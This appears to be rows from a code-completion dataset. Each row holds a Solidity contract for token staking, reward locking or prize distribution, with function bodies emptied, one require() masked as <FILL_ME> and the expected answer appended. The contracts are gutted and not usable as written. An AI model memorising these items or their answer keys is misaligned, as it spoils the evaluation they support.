*/
contract DualStaking is Owner, ReentrancyGuard {
// Token to deposit
EIP20 public asset;
// Token to pay interest in | (Can be the same but suggested to use Single Staking for this)
EIP20 public asset2;
// stakes history
struct Record {
uint256 from;
uint256 amount;
uint256 gain;
uint256 gain2;
uint256 penalization;
uint256 to;
bool ended;
}
// contract parameters
uint16 public interest_rate;
uint16 public interest_rate2;
uint256 public maturity;
uint8 public penalization;
uint256 public lower_amount;
// conversion ratio for token1 and token2
// 1:10 ratio will be:
// ratio1 = 1
// ratio2 = 10
uint256 public ratio1;
uint256 public ratio2;
mapping(address => Record[]) public ledger;
event StakeStart(address indexed user, uint256 value, uint256 index);
event StakeEnd(address indexed user, uint256 value, uint256 penalty, uint256 interest, uint256 index);
constructor(
EIP20 _erc20, EIP20 _erc20_2, address _owner, uint16 _rate, uint16 _rate2, uint256 _maturity,
uint8 _penalization, uint256 _lower, uint256 _ratio1, uint256 _ratio2) Owner(_owner) {
}
function start(uint256 _value) external nonReentrant {
}
function end(uint256 i) external nonReentrant {
require(i < ledger[msg.sender].length, "Invalid index");
require(ledger[msg.sender][i].ended==false, "Invalid stake");
// penalization
if(block.timestamp - ledger[msg.sender][i].from < maturity) {
uint256 _penalization = ledger[msg.sender][i].amount * penalization / 100;
require(asset.transfer(msg.sender, ledger[msg.sender][i].amount - _penalization));
require(asset.transfer(getOwner(), _penalization));
ledger[msg.sender][i].penalization = _penalization;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, _penalization, 0, i);
// interest gained
} else {
// interest is calculated in asset2
uint256 _interest = get_gains(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest>0 && asset.allowance(getOwner(), address(this)) >= _interest && asset.balanceOf(getOwner()) >= _interest) {
require(asset.transferFrom(getOwner(), msg.sender, _interest));
} else {
_interest = 0;
}
// interest is calculated in asset2
uint256 _interest2 = get_gains2(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest2>0 && asset2.allowance(getOwner(), address(this)) >= _interest2 && asset2.balanceOf(getOwner()) >= _interest2) {
require(<FILL_ME>)
} else {
_interest2 = 0;
}
// the original asset is returned to the investor
require(asset.transfer(msg.sender, ledger[msg.sender][i].amount));
ledger[msg.sender][i].gain = _interest;
ledger[msg.sender][i].gain2 = _interest2;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, 0, _interest, i);
}
}
function set(EIP20 _erc20, EIP20 _erc20_2, uint256 _lower, uint256 _maturity, uint16 _rate, uint16 _rate2, uint8 _penalization, uint256 _ratio1, uint256 _ratio2) external isOwner {
}
// calculate interest of the token 1 to the current date time
function get_gains(address _address, uint256 _rec_number) public view returns (uint256) {
}
// calculate interest to the current date time
function get_gains2(address _address, uint256 _rec_number) public view returns (uint256) {
}
function ledger_length(address _address) external view
returns (uint256) {
}
}
| asset2.transferFrom(getOwner(),msg.sender,_interest2) | 436,682 | asset2.transferFrom(getOwner(),msg.sender,_interest2) |
null | // SPDX-License-Identifier: MIT
// Dual Staking contract for DeFi Platform. Easy access for projects to have asset to asset staking earning interest based on APY %
// from token to another desired token or currency from the same chain.
pragma solidity ^0.8.2;
/**
* @title Owner
* @dev Set & change owner
*/
contract Owner {
address private owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
}
/**
* @dev Set contract deployer as owner
*/
constructor(address _owner) {
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() public view returns (address) {
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
// Using consensys implementation of ERC-20, because of decimals
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
abstract contract EIP20Interface {
/* This is a slight change to the EIP20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return balance The balance
function balanceOf(address _owner) virtual public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transfer(address _to, uint256 _value) virtual public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return success Whether the approval was successful or not
function approve(address _spender, uint256 _value) virtual public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return remaining Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) virtual public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/*
Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract EIP20 is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
constructor(
uint256 _initialAmount,
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol
) {
}
function transfer(address _to, uint256 _value) override public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) {
}
function balanceOf(address _owner) override public view returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) override public returns (bool success) {
}
function allowance(address _owner, address _spender) override public view returns (uint256 remaining) {
}
}
/**
*
* Dual Staking is an interest gain contract for ERC-20 tokens to earn revenue staking token A and earn token B
*
* asset is the EIP20 token to deposit in
* asset2 is the EIP20 token to get interest in
* interest_rate: percentage earning rate of token1 based on APY (annual yield)
* interest_rate2: percentage earning rate of token2 based on APY (annual yield)
* maturity is the time in seconds after which is safe to end the stake
* penalization is for ending a stake before maturity time of the stake taking loss quitting the commitment
* lower_amount is the minimum amount for creating the stake in tokens
*
*/
contract DualStaking is Owner, ReentrancyGuard {
// Token to deposit
EIP20 public asset;
// Token to pay interest in | (Can be the same but suggested to use Single Staking for this)
EIP20 public asset2;
// stakes history
struct Record {
uint256 from;
uint256 amount;
uint256 gain;
uint256 gain2;
uint256 penalization;
uint256 to;
bool ended;
}
// contract parameters
uint16 public interest_rate;
uint16 public interest_rate2;
uint256 public maturity;
uint8 public penalization;
uint256 public lower_amount;
// conversion ratio for token1 and token2
// 1:10 ratio will be:
// ratio1 = 1
// ratio2 = 10
uint256 public ratio1;
uint256 public ratio2;
mapping(address => Record[]) public ledger;
event StakeStart(address indexed user, uint256 value, uint256 index);
event StakeEnd(address indexed user, uint256 value, uint256 penalty, uint256 interest, uint256 index);
constructor(
EIP20 _erc20, EIP20 _erc20_2, address _owner, uint16 _rate, uint16 _rate2, uint256 _maturity,
uint8 _penalization, uint256 _lower, uint256 _ratio1, uint256 _ratio2) Owner(_owner) {
}
function start(uint256 _value) external nonReentrant {
}
function end(uint256 i) external nonReentrant {
require(i < ledger[msg.sender].length, "Invalid index");
require(ledger[msg.sender][i].ended==false, "Invalid stake");
// penalization
if(block.timestamp - ledger[msg.sender][i].from < maturity) {
uint256 _penalization = ledger[msg.sender][i].amount * penalization / 100;
require(asset.transfer(msg.sender, ledger[msg.sender][i].amount - _penalization));
require(asset.transfer(getOwner(), _penalization));
ledger[msg.sender][i].penalization = _penalization;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, _penalization, 0, i);
// interest gained
} else {
// interest is calculated in asset2
uint256 _interest = get_gains(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest>0 && asset.allowance(getOwner(), address(this)) >= _interest && asset.balanceOf(getOwner()) >= _interest) {
require(asset.transferFrom(getOwner(), msg.sender, _interest));
} else {
_interest = 0;
}
// interest is calculated in asset2
uint256 _interest2 = get_gains2(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest2>0 && asset2.allowance(getOwner(), address(this)) >= _interest2 && asset2.balanceOf(getOwner()) >= _interest2) {
require(asset2.transferFrom(getOwner(), msg.sender, _interest2));
} else {
_interest2 = 0;
}
// the original asset is returned to the investor
require(<FILL_ME>)
ledger[msg.sender][i].gain = _interest;
ledger[msg.sender][i].gain2 = _interest2;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, 0, _interest, i);
}
}
function set(EIP20 _erc20, EIP20 _erc20_2, uint256 _lower, uint256 _maturity, uint16 _rate, uint16 _rate2, uint8 _penalization, uint256 _ratio1, uint256 _ratio2) external isOwner {
}
// calculate interest of the token 1 to the current date time
function get_gains(address _address, uint256 _rec_number) public view returns (uint256) {
}
// calculate interest to the current date time
function get_gains2(address _address, uint256 _rec_number) public view returns (uint256) {
}
function ledger_length(address _address) external view
returns (uint256) {
}
}
| asset.transfer(msg.sender,ledger[msg.sender][i].amount) | 436,682 | asset.transfer(msg.sender,ledger[msg.sender][i].amount) |
"PrizeDistribution.askPrize: this nonce was already used" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @notice prize distribution handler
*/
contract PrizeDistribution is Ownable, ReentrancyGuard {
using Address for address payable;
/// @notice Event emitted only on construction. To be used by indexers
event PrizeSent(
address indexed from,
uint256 indexed amount,
uint256 indexed rewardType,
uint256 sendAt
);
/// @notice store used nonce from backend verification step
mapping(uint256 => bool) private nonceToValidated;
/// ECDSA verification recover key
address public signingKey;
/// Prizewallet address to send prizes from
address public prizeWallet;
/// @notice for switching off prize distribution
bool public isPaused;
/// @notice ERC20 currency for prize
IERC20 cbcContract;
/// @notice ERC20 APE for prize
IERC20 apeContract;
modifier whenNotPaused() {
}
constructor(
address _prizeWallet,
address _cbcContractAddress,
address _apeContractAddress,
address _signingKey
) {
}
/**
@notice create new offer with a set of nfts
@param _prize how much will be claimed
@param _rewardType reward type for cbc or ape
@param _backendNonce nonce of this payment
@param _expirationTime the time we should no longer accept this signature
@param _signature signature for ECDASA verification
*/
function askPrize(
uint256 _prize,
uint256 _rewardType,
uint256 _backendNonce,
uint256 _expirationTime,
bytes memory _signature
) external whenNotPaused {
require(
_msgSender() != address(0),
"PrizeDistribution.askPrize: sender address is ZERO"
);
require(<FILL_ME>)
uint currentTime = _getNow();
require( _expirationTime >= currentTime, "This transaction signature is expired");
// validate the transaction with the backend
address recovered = ECDSA.recover(keccak256(abi.encodePacked(_prize, _rewardType, _backendNonce, _expirationTime, msg.sender)), _signature);
require(recovered == signingKey, "PrizeDistribution.askPrize: Verification Failed");
// mark nonce used
nonceToValidated[_backendNonce] = true;
_makeTransfer(msg.sender, _prize, _rewardType);
emit PrizeSent(
msg.sender,
_prize,
_rewardType,
currentTime
);
}
function _makeTransfer(
address buyer,
uint256 price,
uint256 rewardType
) internal {
}
/**
@notice Method for updating prize source address
@dev Only admin
@param _prizeWallet payable address the address to sends the funds to
*/
function updatePrizeWallet(address payable _prizeWallet)
external
onlyOwner
{
}
/**
@notice Method for toggling isPaused
@dev Only Admin
@param _isPaused bool to set internal variable to
**/
function setIsPaused(bool _isPaused) external onlyOwner {
}
/**
* @notice set signing key for ECDSA verification
* @param _key signing key
*/
function setSigningKey(address _key) external onlyOwner {
}
/**
* @notice set contract address
* @param _contractAddress contract address
*/
function setContractAddress(address _contractAddress) external onlyOwner {
}
/////////////////////////
// Internal and Private /
/////////////////////////
function _getNow() internal view virtual returns (uint) {
}
}
| !nonceToValidated[_backendNonce],"PrizeDistribution.askPrize: this nonce was already used" | 436,686 | !nonceToValidated[_backendNonce] |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./libraries/MathUtil.sol";
import "./interfaces/IStakingProxy.sol";
import "./interfaces/IRewardStaking.sol";
import "./libraries/BoringMath.sol";
import "openzeppelin3/token/ERC20/IERC20.sol";
import "openzeppelin3/token/ERC20/SafeERC20.sol";
import "openzeppelin3/math/Math.sol";
import "openzeppelin3/access/Ownable.sol";
import "openzeppelin3/utils/ReentrancyGuard.sol";
/*
ROOT Locking contract for https://rootdao.gitbook.io/root/
*/
contract VeRoot is ReentrancyGuard, Ownable {
using BoringMath for uint256;
using BoringMath224 for uint224;
using BoringMath112 for uint112;
using BoringMath32 for uint32;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
struct Reward {
bool useBoost;
uint40 periodFinish;
uint208 rewardRate;
uint40 lastUpdateTime;
uint208 rewardPerTokenStored;
}
struct Balances {
uint112 locked;
uint112 boosted;
uint32 nextUnlockIndex;
}
struct LockedBalance {
uint112 amount;
uint112 boosted;
uint32 unlockTime;
}
struct EarnedData {
address token;
uint256 amount;
}
struct Epoch {
uint224 supply; //epoch boosted supply
uint32 date; //epoch start date
}
//token
IERC20 public stakingToken;
//rewards
address[] public rewardTokens;
mapping(address => Reward) public rewardData;
// Duration that rewards are streamed over
uint256 public rewardsDuration = 86400 * 7;
// Duration of lock/earned penalty period
uint256 public lockDuration = rewardsDuration * 16;
// reward token -> distributor -> is approved to add rewards
mapping(address => mapping(address => bool)) public rewardDistributors;
// user -> reward token -> amount
mapping(address => mapping(address => uint256))
public userRewardPerTokenPaid;
mapping(address => mapping(address => uint256)) public rewards;
//supplies and epochs
uint256 public lockedSupply;
uint256 public boostedSupply;
Epoch[] public epochs;
//mappings for balance data
mapping(address => Balances) public balances;
mapping(address => LockedBalance[]) public userLocks;
//boost
uint256 public boostRate = 10000;
uint256 public constant denominator = 10000;
//management
uint256 public kickRewardPerEpoch = 100;
uint256 public kickRewardEpochDelay = 4;
//shutdown
bool public isShutdown = false;
//erc20-like interface
string private _name;
string private _symbol;
uint8 private immutable _decimals;
//HyperLockEvent
uint256 public hyperLockEventStart;
uint256 public hyperLockEventDuration;
uint256 public boostRatio;
/* ========== CONSTRUCTOR ========== */
constructor(
IERC20 _stakingToken,
uint256 _rewardsDuration
) public Ownable() {
}
function decimals() public view returns (uint8) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function version() public pure returns (uint256) {
}
/* ========== ADMIN CONFIGURATION ========== */
// Add a new reward token to be distributed to stakers
function addReward(
address _rewardsToken,
address _distributor,
bool _useBoost
) public onlyOwner {
}
// Modify approval for an address to call notifyRewardAmount
function approveRewardDistributor(
address _rewardsToken,
address _distributor,
bool _approved
) external onlyOwner {
require(<FILL_ME>)
rewardDistributors[_rewardsToken][_distributor] = _approved;
}
//set boost parameters
function setBoost(uint256 _rate) external onlyOwner {
}
//set kick incentive
function setKickIncentive(
uint256 _rate,
uint256 _delay
) external onlyOwner {
}
//shutdown the contract. unstake all tokens. release all locks
function shutdown() external onlyOwner {
}
//start HyperLockEvent.
function startHyperLockEvent(
uint256 _hyperLockEventDuration,
uint256 _boostRate
) external onlyOwner {
}
function setBaseBoostRatio(uint256 _boostRatio) external onlyOwner {
}
/* ========== VIEWS ========== */
function _rewardPerToken(
address _rewardsToken
) internal view returns (uint256) {
}
function _earned(
address _user,
address _rewardsToken,
uint256 _balance
) internal view returns (uint256) {
}
function _lastTimeRewardApplicable(
uint256 _finishTime
) internal view returns (uint256) {
}
function lastTimeRewardApplicable(
address _rewardsToken
) public view returns (uint256) {
}
function rewardPerToken(
address _rewardsToken
) external view returns (uint256) {
}
function getRewardForDuration(
address _rewardsToken
) external view returns (uint256) {
}
// Address and claimable amount of all reward tokens for the given account
function claimableRewards(
address _account
) external view returns (EarnedData[] memory userRewards) {
}
// Total BOOSTED balance of an account, including unlocked but not withdrawn tokens
function rewardWeightOf(
address _user
) external view returns (uint256 amount) {
}
// total token balance of an account, including unlocked but not withdrawn tokens
function lockedBalanceOf(
address _user
) external view returns (uint256 amount) {
}
//BOOSTED balance of an account which only includes properly locked tokens as of the most recent eligible epoch
function balanceOf(address _user) external view returns (uint256 amount) {
}
//BOOSTED balance of an account which only includes properly locked tokens at the given epoch
function balanceAtEpochOf(
uint256 _epoch,
address _user
) external view returns (uint256 amount) {
}
//return currently locked but not active balance
function pendingLockOf(
address _user
) external view returns (uint256 amount) {
}
function pendingLockAtEpochOf(
uint256 _epoch,
address _user
) external view returns (uint256 amount) {
}
//supply of all properly locked BOOSTED balances at most recent eligible epoch
function totalSupply() external view returns (uint256 supply) {
}
//supply of all properly locked BOOSTED balances at the given epoch
function totalSupplyAtEpoch(
uint256 _epoch
) external view returns (uint256 supply) {
}
//find an epoch index based on timestamp
function findEpochId(uint256 _time) external view returns (uint256 epoch) {
}
// Information on a user's locked balances
function lockedBalances(
address _user
)
external
view
returns (
uint256 total,
uint256 unlockable,
uint256 locked,
LockedBalance[] memory lockData
)
{
}
//number of epochs
function epochCount() external view returns (uint256) {
}
/* ========== MUTATIVE FUNCTIONS ========== */
function checkpointEpoch() external {
}
//insert a new epoch if needed. fill in any gaps
function _checkpointEpoch() internal {
}
// Locked tokens cannot be withdrawn for lockDuration and are eligible to receive stakingReward rewards
function lock(
address _account,
uint256 _amount
) external nonReentrant updateReward(_account) {
}
//lock tokens
function _lock(address _account, uint256 _amount, bool _isRelock) internal {
}
// Withdraw all currently locked tokens where the unlock time has passed
function _processExpiredLocks(
address _account,
bool _relock,
address _withdrawTo,
address _rewardAddress,
uint256 _checkDelay
) internal updateReward(_account) {
}
// withdraw expired locks to a different address
function withdrawExpiredLocksTo(address _withdrawTo) external nonReentrant {
}
// Withdraw/relock all currently locked tokens where the unlock time has passed
function processExpiredLocks(bool _relock) external nonReentrant {
}
function kickExpiredLocks(address _account) external nonReentrant {
}
//transfer helper: pull enough from staking, transfer, updating staking ratio
function transferStakingToken(address _account, uint256 _amount) internal {
}
// Claim all pending rewards
function getReward(
address _account
) public nonReentrant updateReward(_account) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function _notifyReward(address _rewardsToken, uint256 _reward) internal {
}
function notifyRewardAmount(
address _rewardsToken,
uint256 _reward
) external updateReward(address(0)) {
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(
address _tokenAddress,
uint256 _tokenAmount
) external onlyOwner {
}
/* ========== MODIFIERS ========== */
modifier updateReward(address _account) {
}
/* ========== EVENTS ========== */
event RewardAdded(address indexed _token, uint256 _reward);
event Staked(
address indexed _user,
uint256 indexed _epoch,
uint256 _paidAmount,
uint256 _lockedAmount,
uint256 _boostedAmount
);
event Withdrawn(address indexed _user, uint256 _amount, bool _relocked);
event KickReward(
address indexed _user,
address indexed _kicked,
uint256 _reward
);
event RewardPaid(
address indexed _user,
address indexed _rewardsToken,
uint256 _reward
);
event Recovered(address _token, uint256 _amount);
}
| rewardData[_rewardsToken].lastUpdateTime>0 | 436,690 | rewardData[_rewardsToken].lastUpdateTime>0 |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./libraries/MathUtil.sol";
import "./interfaces/IStakingProxy.sol";
import "./interfaces/IRewardStaking.sol";
import "./libraries/BoringMath.sol";
import "openzeppelin3/token/ERC20/IERC20.sol";
import "openzeppelin3/token/ERC20/SafeERC20.sol";
import "openzeppelin3/math/Math.sol";
import "openzeppelin3/access/Ownable.sol";
import "openzeppelin3/utils/ReentrancyGuard.sol";
/*
ROOT Locking contract for https://rootdao.gitbook.io/root/
*/
contract VeRoot is ReentrancyGuard, Ownable {
using BoringMath for uint256;
using BoringMath224 for uint224;
using BoringMath112 for uint112;
using BoringMath32 for uint32;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
struct Reward {
bool useBoost;
uint40 periodFinish;
uint208 rewardRate;
uint40 lastUpdateTime;
uint208 rewardPerTokenStored;
}
struct Balances {
uint112 locked;
uint112 boosted;
uint32 nextUnlockIndex;
}
struct LockedBalance {
uint112 amount;
uint112 boosted;
uint32 unlockTime;
}
struct EarnedData {
address token;
uint256 amount;
}
struct Epoch {
uint224 supply; //epoch boosted supply
uint32 date; //epoch start date
}
//token
IERC20 public stakingToken;
//rewards
address[] public rewardTokens;
mapping(address => Reward) public rewardData;
// Duration that rewards are streamed over
uint256 public rewardsDuration = 86400 * 7;
// Duration of lock/earned penalty period
uint256 public lockDuration = rewardsDuration * 16;
// reward token -> distributor -> is approved to add rewards
mapping(address => mapping(address => bool)) public rewardDistributors;
// user -> reward token -> amount
mapping(address => mapping(address => uint256))
public userRewardPerTokenPaid;
mapping(address => mapping(address => uint256)) public rewards;
//supplies and epochs
uint256 public lockedSupply;
uint256 public boostedSupply;
Epoch[] public epochs;
//mappings for balance data
mapping(address => Balances) public balances;
mapping(address => LockedBalance[]) public userLocks;
//boost
uint256 public boostRate = 10000;
uint256 public constant denominator = 10000;
//management
uint256 public kickRewardPerEpoch = 100;
uint256 public kickRewardEpochDelay = 4;
//shutdown
bool public isShutdown = false;
//erc20-like interface
string private _name;
string private _symbol;
uint8 private immutable _decimals;
//HyperLockEvent
uint256 public hyperLockEventStart;
uint256 public hyperLockEventDuration;
uint256 public boostRatio;
/* ========== CONSTRUCTOR ========== */
constructor(
IERC20 _stakingToken,
uint256 _rewardsDuration
) public Ownable() {
}
function decimals() public view returns (uint8) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function version() public pure returns (uint256) {
}
/* ========== ADMIN CONFIGURATION ========== */
// Add a new reward token to be distributed to stakers
function addReward(
address _rewardsToken,
address _distributor,
bool _useBoost
) public onlyOwner {
}
// Modify approval for an address to call notifyRewardAmount
function approveRewardDistributor(
address _rewardsToken,
address _distributor,
bool _approved
) external onlyOwner {
}
//set boost parameters
function setBoost(uint256 _rate) external onlyOwner {
}
//set kick incentive
function setKickIncentive(
uint256 _rate,
uint256 _delay
) external onlyOwner {
}
//shutdown the contract. unstake all tokens. release all locks
function shutdown() external onlyOwner {
}
//start HyperLockEvent.
function startHyperLockEvent(
uint256 _hyperLockEventDuration,
uint256 _boostRate
) external onlyOwner {
}
function setBaseBoostRatio(uint256 _boostRatio) external onlyOwner {
}
/* ========== VIEWS ========== */
function _rewardPerToken(
address _rewardsToken
) internal view returns (uint256) {
}
function _earned(
address _user,
address _rewardsToken,
uint256 _balance
) internal view returns (uint256) {
}
function _lastTimeRewardApplicable(
uint256 _finishTime
) internal view returns (uint256) {
}
function lastTimeRewardApplicable(
address _rewardsToken
) public view returns (uint256) {
}
function rewardPerToken(
address _rewardsToken
) external view returns (uint256) {
}
function getRewardForDuration(
address _rewardsToken
) external view returns (uint256) {
}
// Address and claimable amount of all reward tokens for the given account
function claimableRewards(
address _account
) external view returns (EarnedData[] memory userRewards) {
}
// Total BOOSTED balance of an account, including unlocked but not withdrawn tokens
function rewardWeightOf(
address _user
) external view returns (uint256 amount) {
}
// total token balance of an account, including unlocked but not withdrawn tokens
function lockedBalanceOf(
address _user
) external view returns (uint256 amount) {
}
//BOOSTED balance of an account which only includes properly locked tokens as of the most recent eligible epoch
function balanceOf(address _user) external view returns (uint256 amount) {
}
//BOOSTED balance of an account which only includes properly locked tokens at the given epoch
function balanceAtEpochOf(
uint256 _epoch,
address _user
) external view returns (uint256 amount) {
}
//return currently locked but not active balance
function pendingLockOf(
address _user
) external view returns (uint256 amount) {
}
function pendingLockAtEpochOf(
uint256 _epoch,
address _user
) external view returns (uint256 amount) {
}
//supply of all properly locked BOOSTED balances at most recent eligible epoch
function totalSupply() external view returns (uint256 supply) {
}
//supply of all properly locked BOOSTED balances at the given epoch
function totalSupplyAtEpoch(
uint256 _epoch
) external view returns (uint256 supply) {
}
//find an epoch index based on timestamp
function findEpochId(uint256 _time) external view returns (uint256 epoch) {
}
// Information on a user's locked balances
function lockedBalances(
address _user
)
external
view
returns (
uint256 total,
uint256 unlockable,
uint256 locked,
LockedBalance[] memory lockData
)
{
}
//number of epochs
function epochCount() external view returns (uint256) {
}
/* ========== MUTATIVE FUNCTIONS ========== */
function checkpointEpoch() external {
}
//insert a new epoch if needed. fill in any gaps
function _checkpointEpoch() internal {
}
// Locked tokens cannot be withdrawn for lockDuration and are eligible to receive stakingReward rewards
function lock(
address _account,
uint256 _amount
) external nonReentrant updateReward(_account) {
}
//lock tokens
function _lock(address _account, uint256 _amount, bool _isRelock) internal {
}
// Withdraw all currently locked tokens where the unlock time has passed
function _processExpiredLocks(
address _account,
bool _relock,
address _withdrawTo,
address _rewardAddress,
uint256 _checkDelay
) internal updateReward(_account) {
}
// withdraw expired locks to a different address
function withdrawExpiredLocksTo(address _withdrawTo) external nonReentrant {
}
// Withdraw/relock all currently locked tokens where the unlock time has passed
function processExpiredLocks(bool _relock) external nonReentrant {
}
function kickExpiredLocks(address _account) external nonReentrant {
}
//transfer helper: pull enough from staking, transfer, updating staking ratio
function transferStakingToken(address _account, uint256 _amount) internal {
}
// Claim all pending rewards
function getReward(
address _account
) public nonReentrant updateReward(_account) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function _notifyReward(address _rewardsToken, uint256 _reward) internal {
}
function notifyRewardAmount(
address _rewardsToken,
uint256 _reward
) external updateReward(address(0)) {
require(<FILL_ME>)
require(_reward > 0, "No reward");
_notifyReward(_rewardsToken, _reward);
// handle the transfer of reward tokens via `transferFrom` to reduce the number
// of transactions required and ensure correctness of the _reward amount
IERC20(_rewardsToken).safeTransferFrom(
msg.sender,
address(this),
_reward
);
emit RewardAdded(_rewardsToken, _reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(
address _tokenAddress,
uint256 _tokenAmount
) external onlyOwner {
}
/* ========== MODIFIERS ========== */
modifier updateReward(address _account) {
}
/* ========== EVENTS ========== */
event RewardAdded(address indexed _token, uint256 _reward);
event Staked(
address indexed _user,
uint256 indexed _epoch,
uint256 _paidAmount,
uint256 _lockedAmount,
uint256 _boostedAmount
);
event Withdrawn(address indexed _user, uint256 _amount, bool _relocked);
event KickReward(
address indexed _user,
address indexed _kicked,
uint256 _reward
);
event RewardPaid(
address indexed _user,
address indexed _rewardsToken,
uint256 _reward
);
event Recovered(address _token, uint256 _amount);
}
| rewardDistributors[_rewardsToken][msg.sender] | 436,690 | rewardDistributors[_rewardsToken][msg.sender] |
"Cannot withdraw reward token" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./libraries/MathUtil.sol";
import "./interfaces/IStakingProxy.sol";
import "./interfaces/IRewardStaking.sol";
import "./libraries/BoringMath.sol";
import "openzeppelin3/token/ERC20/IERC20.sol";
import "openzeppelin3/token/ERC20/SafeERC20.sol";
import "openzeppelin3/math/Math.sol";
import "openzeppelin3/access/Ownable.sol";
import "openzeppelin3/utils/ReentrancyGuard.sol";
/*
ROOT Locking contract for https://rootdao.gitbook.io/root/
*/
contract VeRoot is ReentrancyGuard, Ownable {
using BoringMath for uint256;
using BoringMath224 for uint224;
using BoringMath112 for uint112;
using BoringMath32 for uint32;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
struct Reward {
bool useBoost;
uint40 periodFinish;
uint208 rewardRate;
uint40 lastUpdateTime;
uint208 rewardPerTokenStored;
}
struct Balances {
uint112 locked;
uint112 boosted;
uint32 nextUnlockIndex;
}
struct LockedBalance {
uint112 amount;
uint112 boosted;
uint32 unlockTime;
}
struct EarnedData {
address token;
uint256 amount;
}
